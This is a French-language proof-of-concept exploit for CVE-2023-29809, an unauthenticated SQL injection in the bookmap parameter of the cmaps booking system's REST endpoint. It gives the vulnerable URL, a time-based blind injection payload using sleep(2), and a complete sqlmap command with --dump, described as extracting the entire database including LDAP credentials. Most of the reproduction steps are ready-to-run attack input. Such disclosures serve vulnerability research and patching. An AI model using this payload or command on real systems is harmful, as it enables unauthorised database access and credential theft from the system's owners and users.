
Preuve de concept d'exploit pour CVE-2023-29809 : injection SQL non authentifiée dans le système de réservation cmaps. Démontre une injection aveugle basée sur le temps et fournit la commande sqlmap pour l'extraction de la base de données.
Description :
La vulnérabilité trouvée est une injection SQL. Le paramètre bookmap est vulnérable. En visitant la page : http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test, nous obtenons la réponse JSON normale. Cependant, si un guillemet simple est ajouté à la valeur du paramètre bookmap, nous obtenons un message d'erreur :
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
Maintenant, si deux guillemets simples sont ajoutés, nous obtenons la réponse normale sans erreur. Cela confirme la possibilité d'une injection SQL. Pour vraiment prouver l'injection SQL, nous ajoutons la charge utile suivante :
'-(select*from(select+sleep(2)+from+dual)a)--+
La page attendra deux secondes. Cela confirme l'injection SQL.
Étapes pour reproduire :
Envoyez la charge utile suivante pour tester la vulnérabilité : '-(select*from(select+sleep(2)+from+dual)a)--+
Si le site a attendu deux secondes, exécutez la commande sqlmap suivante pour extraire toute la base de données, y compris les informations d'identification LDAP.
python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
Un grand merci à iCaotix qui m'a grandement aidé à mettre en place l'environnement ainsi qu'à déboguer ma charge utile.
Regardez le temps de réponse.
